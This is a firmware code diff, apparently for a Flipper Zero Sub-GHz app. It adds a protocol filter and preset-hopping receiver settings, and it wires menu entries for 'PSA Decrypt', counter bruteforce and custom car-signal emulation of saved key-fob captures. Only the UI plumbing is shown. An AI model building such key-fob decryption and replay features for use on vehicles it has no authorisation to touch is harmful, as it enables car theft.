uint8_t value_index = variable_item_get_current_value_index(item);
|
||||
|
||||
uint32_t proto_idx =
|
||||
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList);
|
||||
size_t selected =
|
||||
variable_item_list_get_selected_item_index(subghz->variable_item_list);
|
||||
UNUSED(proto_idx);
|
||||
|
||||
const SubGhzProtocol* protocol =
|
||||
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, selected);
|
||||
if(!protocol) return;
|
||||
|
||||
const char* name = protocol->name;
|
||||
|
||||
bool currently_in =
|
||||
proto_filter_contains(subghz->last_settings->protocol_filter, name);
|
||||
|
||||
if((value_index == 1) != currently_in) {
|
||||
proto_filter_toggle(
|
||||
subghz->last_settings->protocol_filter,
|
||||
sizeof(subghz->last_settings->protocol_filter),
|
||||
name);
|
||||
}
|
||||
|
||||
variable_item_set_current_value_text(item, value_index ? "ONLY" : "---");
|
||||
subghz_last_settings_save(subghz->last_settings);
|
||||
}
|
||||
|
||||
/* ── scene callbacks ──────────────────────────────────────────────────────── */
|
||||
|
||||
void subghz_scene_protocol_list_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
VariableItemList* list = subghz->variable_item_list;
|
||||
variable_item_list_reset(list);
|
||||
|
||||
size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
|
||||
|
||||
for(size_t i = 0; i < protocol_count; i++) {
|
||||
const SubGhzProtocol* protocol =
|
||||
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
|
||||
if(!protocol) continue;
|
||||
|
||||
VariableItem* item = variable_item_list_add(
|
||||
list,
|
||||
protocol->name,
|
||||
2,
|
||||
subghz_scene_protocol_list_item_changed,
|
||||
subghz);
|
||||
|
||||
bool enabled = proto_filter_contains(
|
||||
subghz->last_settings->protocol_filter, protocol->name);
|
||||
variable_item_set_current_value_index(item, enabled ? 1 : 0);
|
||||
variable_item_set_current_value_text(item, enabled ? "ONLY" : "---");
|
||||
}
|
||||
|
||||
variable_item_list_set_selected_item(
|
||||
list,
|
||||
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
|
||||
}
|
||||
|
||||
bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneProtocolList, event.event);
|
||||
consumed = true;
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void subghz_scene_protocol_list_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
submenu_reset(subghz->submenu);
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager,
|
||||
SubGhzSceneProtocolList,
|
||||
variable_item_list_get_selected_item_index(subghz->variable_item_list));
|
||||
variable_item_list_reset(subghz->variable_item_list);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <math.h>
|
||||
#include <dolphin/dolphin.h>
|
||||
#include <lib/subghz/protocols/bin_raw.h>
|
||||
|
||||
@@ -106,6 +105,29 @@ static void subghz_scene_add_to_history_callback(
|
||||
SubGhz* subghz = context;
|
||||
|
||||
// The check can be moved to /lib/subghz/receiver.c, but may result in false positives
|
||||
/* Protocol name allowlist filter — if non-empty, drop anything not in the list */
|
||||
if(subghz->last_settings->protocol_filter[0] != '\0') {
|
||||
const char* proto_name = decoder_base->protocol->name;
|
||||
const char* filter = subghz->last_settings->protocol_filter;
|
||||
bool allowed = false;
|
||||
/* Walk the comma-separated list */
|
||||
const char* p = filter;
|
||||
while(*p) {
|
||||
const char* comma = strchr(p, ',');
|
||||
size_t len = comma ? (size_t)(comma - p) : strlen(p);
|
||||
if(len == strlen(proto_name) && strncmp(p, proto_name, len) == 0) {
|
||||
allowed = true;
|
||||
break;
|
||||
}
|
||||
if(!comma) break;
|
||||
p = comma + 1;
|
||||
}
|
||||
if(!allowed) {
|
||||
FURI_LOG_D(TAG, "%s filtered by allowlist", proto_name);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if((decoder_base->protocol->flag & subghz->ignore_filter) == 0) {
|
||||
SubGhzHistory* history = subghz->history;
|
||||
FuriString* item_name = furi_string_alloc();
|
||||
@@ -214,11 +236,12 @@ void subghz_scene_receiver_on_enter(void* context) {
|
||||
} else {
|
||||
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
|
||||
}
|
||||
subghz_txrx_mod_hopper_set_running(
|
||||
subghz->txrx,
|
||||
!isnan(subghz->last_settings->mod_hopping_threshold),
|
||||
(uint8_t)subghz->last_settings->mod_hopping_dwell,
|
||||
subghz->last_settings->mod_hopping_threshold);
|
||||
|
||||
if(subghz->last_settings->enable_preset_hopping) {
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
|
||||
} else {
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
}
|
||||
|
||||
subghz_txrx_rx_start(subghz->txrx);
|
||||
subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen);
|
||||
@@ -247,6 +270,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
subghz_txrx_set_rx_callback(subghz->txrx, NULL, subghz);
|
||||
|
||||
if(subghz_rx_key_state_get(subghz) == SubGhzRxKeyStateAddKey) {
|
||||
@@ -307,9 +331,8 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
|
||||
subghz_scene_receiver_update_statusbar(subghz);
|
||||
}
|
||||
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
|
||||
float rssi = subghz_txrx_radio_device_get_rssi(subghz->txrx);
|
||||
subghz_txrx_mod_hopper_update(subghz->txrx, rssi);
|
||||
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF) {
|
||||
subghz_txrx_preset_hopper_update(subghz->txrx, subghz->last_settings->preset_hopping_threshold);
|
||||
subghz_scene_receiver_update_statusbar(subghz);
|
||||
}
|
||||
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
enum SubGhzSettingIndex {
|
||||
SubGhzSettingIndexFrequency,
|
||||
SubGhzSettingIndexHopping,
|
||||
SubGhzSettingIndexModulation,
|
||||
SubGhzSettingIndexModHopping,
|
||||
SubGhzSettingIndexHopping,
|
||||
SubGhzSettingIndexPresetHopping,
|
||||
SubGhzSettingIndexBinRAW,
|
||||
SubGhzSettingIndexIgnoreReversRB2,
|
||||
SubGhzSettingIndexIgnoreAlarms,
|
||||
@@ -17,6 +17,7 @@ enum SubGhzSettingIndex {
|
||||
SubGhzSettingIndexIgnoreNiceFlorS,
|
||||
SubGhzSettingIndexDeleteOldSignals,
|
||||
SubGhzSettingIndexSound,
|
||||
SubGhzSettingIndexProtoFilter,
|
||||
SubGhzSettingIndexResetToDefault,
|
||||
SubGhzSettingIndexLock,
|
||||
SubGhzSettingIndexRAWThresholdRSSI,
|
||||
@@ -82,18 +83,22 @@ const float hopping_mode_value[HOPPING_MODE_COUNT] = {
|
||||
-40.0f,
|
||||
};
|
||||
|
||||
#define MOD_HOP_DBM_COUNT 8
|
||||
const char* const mod_hop_dbm_text[MOD_HOP_DBM_COUNT] = {
|
||||
#define PRESET_HOPPING_MODE_COUNT 12
|
||||
const char* const preset_hopping_mode_text[PRESET_HOPPING_MODE_COUNT] = {
|
||||
"OFF",
|
||||
"-90",
|
||||
"-85",
|
||||
"-80",
|
||||
"-75",
|
||||
"-70",
|
||||
"-65",
|
||||
"-60",
|
||||
"-90dBm",
|
||||
"-85dBm",
|
||||
"-80dBm",
|
||||
"-75dBm",
|
||||
"-70dBm",
|
||||
"-65dBm",
|
||||
"-60dBm",
|
||||
"-55dBm",
|
||||
"-50dBm",
|
||||
"-45dBm",
|
||||
"-40dBm",
|
||||
};
|
||||
const float mod_hop_dbm_value[MOD_HOP_DBM_COUNT] = {
|
||||
const float preset_hopping_mode_value[PRESET_HOPPING_MODE_COUNT] = {
|
||||
NAN,
|
||||
-90.0f,
|
||||
-85.0f,
|
||||
@@ -102,22 +107,10 @@ const float mod_hop_dbm_value[MOD_HOP_DBM_COUNT] = {
|
||||
-70.0f,
|
||||
-65.0f,
|
||||
-60.0f,
|
||||
};
|
||||
|
||||
#define MOD_HOP_TIME_COUNT 5
|
||||
const char* const mod_hop_time_text[MOD_HOP_TIME_COUNT] = {
|
||||
"0.5s",
|
||||
"1s",
|
||||
"2s",
|
||||
"5s",
|
||||
"10s",
|
||||
};
|
||||
const uint32_t mod_hop_time_ticks[MOD_HOP_TIME_COUNT] = {
|
||||
5,
|
||||
10,
|
||||
20,
|
||||
50,
|
||||
100,
|
||||
-55.0f,
|
||||
-50.0f,
|
||||
-45.0f,
|
||||
-40.0f,
|
||||
};
|
||||
|
||||
#define COMBO_BOX_COUNT 2
|
||||
@@ -192,6 +185,23 @@ uint8_t subghz_scene_receiver_config_next_preset(const char* preset_name, void*
|
||||
return index;
|
||||
}
|
||||
|
||||
uint8_t subghz_scene_receiver_config_preset_hopper_value_index(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
|
||||
return 0;
|
||||
} else {
|
||||
variable_item_set_current_value_text(
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation),
|
||||
" -----");
|
||||
return value_index_float(
|
||||
subghz->last_settings->preset_hopping_threshold,
|
||||
preset_hopping_mode_value,
|
||||
PRESET_HOPPING_MODE_COUNT);
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_scene_receiver_config_hopper_value_index(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhz* subghz = context;
|
||||
@@ -252,19 +262,21 @@ static void subghz_scene_receiver_config_set_preset(VariableItem* item) {
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
|
||||
|
||||
const char* preset_name = subghz_setting_get_preset_name(setting, index);
|
||||
variable_item_set_current_value_text(item, preset_name);
|
||||
//subghz->last_settings->preset = index;
|
||||
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
|
||||
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
|
||||
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
|
||||
const char* preset_name = subghz_setting_get_preset_name(setting, index);
|
||||
variable_item_set_current_value_text(item, preset_name);
|
||||
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
|
||||
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
|
||||
|
||||
//Edit TX power, if necessary.
|
||||
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
|
||||
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
|
||||
subghz->last_settings->preset_index = index;
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
|
||||
subghz->last_settings->preset_index = index;
|
||||
} else {
|
||||
variable_item_set_current_value_index(item, subghz->last_settings->preset_index);
|
||||
}
|
||||
}
|
||||
|
||||
static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
|
||||
@@ -313,33 +325,57 @@ static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
|
||||
subghz->last_settings->hopping_threshold = hopping_mode_value[index];
|
||||
subghz_txrx_hopper_set_state(
|
||||
subghz->txrx, index != 0 ? SubGhzHopperStateRunning : SubGhzHopperStateOFF);
|
||||
|
||||
VariableItem* preset_hopping_item =
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexPresetHopping);
|
||||
variable_item_set_locked(
|
||||
preset_hopping_item,
|
||||
index != 0,
|
||||
"Turn off\nHopping\nfirst!");
|
||||
}
|
||||
|
||||
static void subghz_scene_receiver_config_set_mod_hop_dbm(VariableItem* item) {
|
||||
static void subghz_scene_receiver_config_set_preset_hopping(VariableItem* item) {
|
||||
SubGhz* subghz = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
variable_item_set_current_value_text(item, mod_hop_dbm_text[index]);
|
||||
subghz->last_settings->mod_hopping_threshold = mod_hop_dbm_value[index];
|
||||
bool enabled = index != 0;
|
||||
subghz_txrx_mod_hopper_set_running(
|
||||
subghz->txrx,
|
||||
enabled,
|
||||
(uint8_t)subghz->last_settings->mod_hopping_dwell,
|
||||
mod_hop_dbm_value[index]);
|
||||
}
|
||||
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
|
||||
VariableItem* preset_item =
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation);
|
||||
|
||||
static void subghz_scene_receiver_config_set_mod_hop_time(VariableItem* item) {
|
||||
SubGhz* subghz = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
variable_item_set_current_value_text(item, mod_hop_time_text[index]);
|
||||
subghz->last_settings->mod_hopping_dwell = mod_hop_time_ticks[index];
|
||||
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
|
||||
subghz_txrx_mod_hopper_set_running(
|
||||
subghz->txrx,
|
||||
true,
|
||||
(uint8_t)mod_hop_time_ticks[index],
|
||||
subghz->last_settings->mod_hopping_threshold);
|
||||
variable_item_set_current_value_text(item, preset_hopping_mode_text[index]);
|
||||
|
||||
if(index == 0) {
|
||||
SubGhzRadioPreset current_preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
const char* current_preset_name = furi_string_get_cstr(current_preset.name);
|
||||
int current_preset_index = subghz_setting_get_inx_preset_by_name(setting, current_preset_name);
|
||||
if(current_preset_index >= 0) {
|
||||
subghz->last_settings->preset_index = current_preset_index;
|
||||
}
|
||||
variable_item_set_current_value_text(preset_item, current_preset_name);
|
||||
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
|
||||
|
||||
subghz->last_settings->enable_preset_hopping = false;
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
} else {
|
||||
bool was_running = (subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateRunning);
|
||||
if(was_running) {
|
||||
subghz_txrx_preset_hopper_pause(subghz->txrx);
|
||||
}
|
||||
|
||||
subghz->last_settings->preset_hopping_threshold = preset_hopping_mode_value[index];
|
||||
|
||||
variable_item_set_current_value_text(preset_item, " -----");
|
||||
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
|
||||
|
||||
subghz->last_settings->enable_preset_hopping = true;
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
|
||||
}
|
||||
|
||||
VariableItem* hopping_item =
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexHopping);
|
||||
variable_item_set_locked(
|
||||
hopping_item,
|
||||
index != 0,
|
||||
"Turn off\nPreset\nHopping\nfirst!");
|
||||
}
|
||||
|
||||
static void subghz_scene_receiver_config_set_speaker(VariableItem* item) {
|
||||
@@ -410,7 +446,9 @@ static void subghz_scene_receiver_config_set_delete_old_signals(VariableItem* it
|
||||
static void subghz_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) {
|
||||
furi_assert(context);
|
||||
SubGhz* subghz = context;
|
||||
if(index == SubGhzSettingIndexLock) {
|
||||
if(index == SubGhzSettingIndexProtoFilter) {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneProtocolList);
|
||||
} else if(index == SubGhzSettingIndexLock) {
|
||||
view_dispatcher_send_custom_event(
|
||||
subghz->view_dispatcher, SubGhzCustomEventSceneSettingLock);
|
||||
} else if(index == SubGhzSettingIndexResetToDefault) {
|
||||
@@ -438,13 +476,14 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
|
||||
subghz->last_settings->filter = subghz->filter;
|
||||
subghz->last_settings->delete_old_signals = false;
|
||||
subghz->last_settings->tx_power = subghz->tx_power = 0;
|
||||
subghz->last_settings->protocol_filter[0] = '\0';
|
||||
subghz_txrx_speaker_set_state(subghz->txrx, speaker_value[default_index]);
|
||||
|
||||
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
|
||||
subghz->last_settings->enable_hopping = hopping_value[default_index];
|
||||
subghz->last_settings->mod_hopping_threshold = NAN;
|
||||
subghz->last_settings->mod_hopping_dwell = 20;
|
||||
subghz_txrx_mod_hopper_set_running(subghz->txrx, false, 20, NAN);
|
||||
subghz->last_settings->enable_preset_hopping = false;
|
||||
subghz->last_settings->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
|
||||
variable_item_list_set_selected_item(subghz->variable_item_list, default_index);
|
||||
variable_item_list_reset(subghz->variable_item_list);
|
||||
@@ -509,47 +548,26 @@ void subghz_scene_receiver_config_on_enter(void* context) {
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, hopping_mode_text[value_index]);
|
||||
|
||||
// Mod Hop dBm
|
||||
{
|
||||
uint8_t mod_dbm_idx = 0; // OFF
|
||||
float thresh = subghz->last_settings->mod_hopping_threshold;
|
||||
if(!isnan(thresh)) {
|
||||
for(uint8_t k = 1; k < MOD_HOP_DBM_COUNT; k++) {
|
||||
if(mod_hop_dbm_value[k] == thresh) {
|
||||
mod_dbm_idx = k;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(mod_dbm_idx == 0) mod_dbm_idx = 1; // fallback to -90
|
||||
}
|
||||
item = variable_item_list_add(
|
||||
subghz->variable_item_list,
|
||||
"Mod Hop dBm",
|
||||
MOD_HOP_DBM_COUNT,
|
||||
subghz_scene_receiver_config_set_mod_hop_dbm,
|
||||
subghz);
|
||||
variable_item_set_current_value_index(item, mod_dbm_idx);
|
||||
variable_item_set_current_value_text(item, mod_hop_dbm_text[mod_dbm_idx]);
|
||||
}
|
||||
variable_item_set_locked(
|
||||
item,
|
||||
subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF,
|
||||
"Turn off\nPreset\nHopping\nfirst!");
|
||||
|
||||
// Mod Hop Time
|
||||
{
|
||||
uint8_t mod_time_idx = 2; // default 2s
|
||||
for(uint8_t k = 0; k < MOD_HOP_TIME_COUNT; k++) {
|
||||
if(mod_hop_time_ticks[k] == subghz->last_settings->mod_hopping_dwell) {
|
||||
mod_time_idx = k;
|
||||
break;
|
||||
}
|
||||
}
|
||||
item = variable_item_list_add(
|
||||
subghz->variable_item_list,
|
||||
"Mod Hop Time",
|
||||
MOD_HOP_TIME_COUNT,
|
||||
subghz_scene_receiver_config_set_mod_hop_time,
|
||||
subghz);
|
||||
variable_item_set_current_value_index(item, mod_time_idx);
|
||||
variable_item_set_current_value_text(item, mod_hop_time_text[mod_time_idx]);
|
||||
}
|
||||
value_index = subghz_scene_receiver_config_preset_hopper_value_index(subghz);
|
||||
item = variable_item_list_add(
|
||||
subghz->variable_item_list,
|
||||
"Preset Hopping",
|
||||
PRESET_HOPPING_MODE_COUNT,
|
||||
subghz_scene_receiver_config_set_preset_hopping,
|
||||
subghz);
|
||||
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, preset_hopping_mode_text[value_index]);
|
||||
|
||||
variable_item_set_locked(
|
||||
item,
|
||||
subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF,
|
||||
"Turn off\nHopping\nfirst!");
|
||||
}
|
||||
|
||||
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=
|
||||
@@ -654,6 +672,25 @@ void subghz_scene_receiver_config_on_enter(void* context) {
|
||||
|
||||
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=
|
||||
SubGhzCustomEventManagerSet) {
|
||||
/* Protocol filter */
|
||||
item = variable_item_list_add(
|
||||
subghz->variable_item_list,
|
||||
"Proto Filter",
|
||||
1,
|
||||
NULL,
|
||||
subghz);
|
||||
if(subghz->last_settings->protocol_filter[0] == '\0') {
|
||||
variable_item_set_current_value_text(item, "All");
|
||||
} else {
|
||||
uint8_t count = 1;
|
||||
for(const char* p = subghz->last_settings->protocol_filter; *p; p++) {
|
||||
if(*p == ',') count++;
|
||||
}
|
||||
static char filter_count_str[8];
|
||||
snprintf(filter_count_str, sizeof(filter_count_str), "%u set", count);
|
||||
variable_item_set_current_value_text(item, filter_count_str);
|
||||
}
|
||||
|
||||
// Reset to default
|
||||
variable_item_list_add(subghz->variable_item_list, "Reset to default", 1, NULL, NULL);
|
||||
|
||||
|
||||
@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
|
||||
}
|
||||
//CC1101 Stop RX -> Start TX
|
||||
subghz_txrx_hopper_pause(subghz->txrx);
|
||||
// key concept: we start endless TX until user release OK button, and after this we send last
|
||||
// protocols repeats - this guarantee that one press OK will
|
||||
// be guarantee send the required minimum protocol data packets
|
||||
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
subghz_block_generic_global.endless_tx = true;
|
||||
if(!subghz_tx_start(
|
||||
subghz,
|
||||
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
|
||||
subghz_txrx_rx_start(subghz->txrx);
|
||||
subghz_txrx_hopper_unpause(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateRx;
|
||||
} else {
|
||||
// key concept: we start endless TX until user release OK button, and after this we send last
|
||||
// protocols repeats - this guarantee that one press OK will
|
||||
// be guarantee send the required minimum protocol data packets
|
||||
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
subghz_block_generic_global.endless_tx = true;
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
|
||||
//CC1101 Stop Tx -> next tick event Start RX
|
||||
// user release OK
|
||||
|
||||
@@ -2,11 +2,12 @@
|
||||
|
||||
enum SubmenuIndex {
|
||||
SubmenuIndexEmulate,
|
||||
SubmenuIndexPsaDecrypt,
|
||||
SubmenuIndexEdit,
|
||||
SubmenuIndexDelete,
|
||||
SubmenuIndexSignalSettings,
|
||||
SubmenuIndexPsaDecrypt,
|
||||
SubmenuIndexCounterBf
|
||||
SubmenuIndexCounterBf, /* <-- comma was missing here */
|
||||
SubmenuIndexCarEmulateSettings,
|
||||
};
|
||||
|
||||
void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
|
||||
@@ -17,7 +18,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
|
||||
void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
// Check protocol type for conditional menu items
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
bool is_psa_encrypted = false;
|
||||
bool has_counter = false;
|
||||
@@ -26,7 +26,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
flipper_format_rewind(fff);
|
||||
if(flipper_format_read_string(fff, "Protocol", proto)) {
|
||||
if(furi_string_equal_str(proto, "PSA GROUP")) {
|
||||
// Check if Type field is missing or zero (not yet decrypted)
|
||||
FuriString* type_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
if(!flipper_format_read_string(fff, "Type", type_str) ||
|
||||
@@ -39,37 +38,31 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
furi_string_free(proto);
|
||||
}
|
||||
|
||||
// Check if protocol has a Cnt field (supports counter bruteforce)
|
||||
if(fff) {
|
||||
uint32_t cnt_tmp = 0;
|
||||
flipper_format_rewind(fff);
|
||||
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
|
||||
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
|
||||
if(got_uint) {
|
||||
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
|
||||
has_counter = true;
|
||||
} else {
|
||||
FuriString* cnt_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
|
||||
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
|
||||
if(got_str && furi_string_size(cnt_str) > 0) {
|
||||
has_counter = true;
|
||||
}
|
||||
furi_string_free(cnt_str);
|
||||
}
|
||||
FuriString* proto_dbg = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_string(fff, "Protocol", proto_dbg);
|
||||
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
|
||||
furi_string_free(proto_dbg);
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Emulate",
|
||||
SubmenuIndexEmulate,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
if(!is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Emulate",
|
||||
SubmenuIndexEmulate,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
if(is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"PSA Decrypt",
|
||||
SubmenuIndexPsaDecrypt,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -85,6 +78,13 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Custom Emulate Settings",
|
||||
SubmenuIndexCarEmulateSettings,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
|
||||
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -92,15 +92,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
SubmenuIndexSignalSettings,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
};
|
||||
if(is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"PSA Decrypt",
|
||||
SubmenuIndexPsaDecrypt,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
if(has_counter) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -124,7 +117,27 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
if(event.event == SubmenuIndexEmulate) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
|
||||
|
||||
bool use_custom = subghz->last_settings->custom_car_emulate;
|
||||
if(use_custom) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t cnt_tmp = 0;
|
||||
flipper_format_rewind(fff);
|
||||
if(!flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
|
||||
use_custom = false;
|
||||
}
|
||||
}
|
||||
|
||||
if(use_custom) {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
|
||||
} else {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
|
||||
}
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexPsaDecrypt) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexDelete) {
|
||||
scene_manager_set_scene_state(
|
||||
